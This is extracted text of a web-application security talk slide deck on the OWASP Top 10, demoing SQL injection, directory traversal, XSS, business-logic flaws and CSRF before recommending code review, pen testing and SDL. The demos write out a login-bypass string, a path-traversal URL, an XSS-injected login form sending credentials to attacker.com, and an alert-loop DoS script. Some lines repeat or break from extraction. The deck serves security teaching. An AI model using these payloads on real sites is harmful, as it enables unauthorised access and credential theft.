  • 4. OWASP Top 10 (2010) DEMO – SQL Injection Developer concate SQL statements string sql = "select * from Users where user ='" + User.Text + "' and pwd='" + Password.Text + "'" pwd='" Hacker types: ‘ or 1=1 -- string sql = "select * from Users where a user =' ' or 1=1 --' and pwd=''" --' pwd=''" Result - the first database entry (might be the Admin!) http://www.victim.com/HacmeBank_v2_Website/aspx/Login.aspx
  • 5. A little bit of humor.. DEMO – Directory traversal • The following demo shows an innocent looking page, letting the user to download a requested file from the base dir. • Legitimate use: • http://www.victim.com/SendPdf/WebForm1.aspx?file=somefile.pdf • But the user can get out of the base directory.. • http://www.victim.com/SendPdf/WebForm1.aspx? file=../../progs/secret/SecretFile.pdf
  • 6. DEMO - Cross-Site Scripting (XSS) • Web browsers execute code sent from websites • HTML • Javascript • Flash, etc. • send malicious code to other users • the attacker is using the website to forward an attack! http://www.victim.com/xss/xss.asp?username=david http://www.victim.com/xss/xss.asp?username= http://www.victim.com/xss/xss.asp?username=<br>please login:<form http://www.victim.com/xss/xss.asp?username=<br>please action="http://www.attacker.com" name=a action="http://www.attacker.com" method="post">username:<br><input type=text method="post">username:<br><input name=b><br>password:<br><input type=password name=b><br>password:<br><input name=c><br><input class=w type=submit value="login"></form> name=c><br><input Demo – Denial of Service using XSS • Prevent legitimate users from using the hacmebank site (while true injection) <script>while(true){alert("service unavailable");}</script> <script>while(true){alert("service • Such a short line can cause so much damage..!!! • Other possibilities • Delete a specific user (competent?) • Change password for a specific user • Delete all the tables/database… tables/database… • Format the server HD
  • 7. Business logic attacks • Flaws that allow a user to do something that isn't allowed by the business. • Cannot be detected by a vulnerability scanner • One of the hardest to detect • Specific to the application being tested. • Some examples • Negative amount of money • Skipping security checks • Performing operations in different order • DEMO • Withdraw becomes a deposit • Casino Cross Site Request Forgery (CSRF) • Another client side attack • Resembles XSS, but quite different • The victim’s browser is tricked into issuing a command to a vulnerable web application • The browser outgoing request automatically include user’s data (session id, authentication tickets, ip address, etc.) • Impact • Perform transactions on behalf of the user • Access private networks • Access sensitive data • Modify user’s data
  • 8. CSRF Illustrated Attacker sets the trap on some website on the internet 1 (or simply via an e-mail) Application with CSRF Hidden <img> tag vulnerability contains attack against vulnerable site Communication Administration Bus. Functions E-Commerce Transactions Knowledge Accounts Finance Mgmt While logged into vulnerable site, 2 victim views attacker site Custom Code 3 Vulnerable site sees <img> tag loaded by legitimate request from browser – sends GET victim and performs the request (including action requested credentials) to vulnerable site CSRF via phishing e-mail Unusual activity.msg
  • 9. CSRF via malicious web site • You visit a malicious web site • The web site instructs your browser to submit a request to some CSRF vulnerable page on the victim application • Your browser perform the operation • IE7 / Mozilla – at least an open tab • IE6 – from the same window • Example: • http://www.attacker.com/csrf/InnocentSite.asp http://www. attacker. com/ csrf/ InnocentSite. What to do? • In order to avoid application level threats, we usually perform • Penetration testing • Code review • Threat modeling • SDL – Secure Development Lifecycle
  • 10. Penetration Testing • Testing the security of systems and architectures from a hacker’s point of view hacker’ • Blackbox approach - A “simulated attack” attack” • Identifying weaknesses in already deployed targets, for example, platform tests include: • Information disclosure • Escalation of privileges to valid users • Denial of service • Unauthorized access • Penetration testing is usually done when development completes Problem - Cost of change
  • 11. Code review • Security Code review is a process to improve software security by reviewing it “from the inside” inside” • Whitebox approach • This process should be performed by the developer and by a 3rd party security personnel • The main objective is to • Detect vulnerabilities in code • Identify bad application level configuration • Detect backdoors The Threat Modeling Threat Modeling Process 1 Identify Assets 2 Create an Architecture Overview 3 Decompose the Application 4 Identify the Threats 5 Document the Threats 6 Rate the Threats
  • 12. We need secure development methodologies • Current development methodologies lack security procedures • Security should be performed from the initial project stages • Security should be embedded into the development lifecycle • SDL – Secure Development Lifecycle SDL “Integrate” Security within Application Life Cycle Security Threat Modeling Code Penetration Secure Requirements / Secure Design Review Testing Deployment Requirements Design Code Test Deploy Use Cases
  • 13. Don’t rely on only one countermeasure …. Summary • Application security is different from other security layers • Traditional security products (firewall, antivirus, IPS, SSL, etc.) does not help to mitigate application threats. • You should perform application security by doing • Code review • Application penetration test • Design review • Integrate security into the development cycle • Example – SDL (secure Development Lifecyce) Lifecyce)
  • 14. Questions ? Thank you ! ErezMetula@gmail.com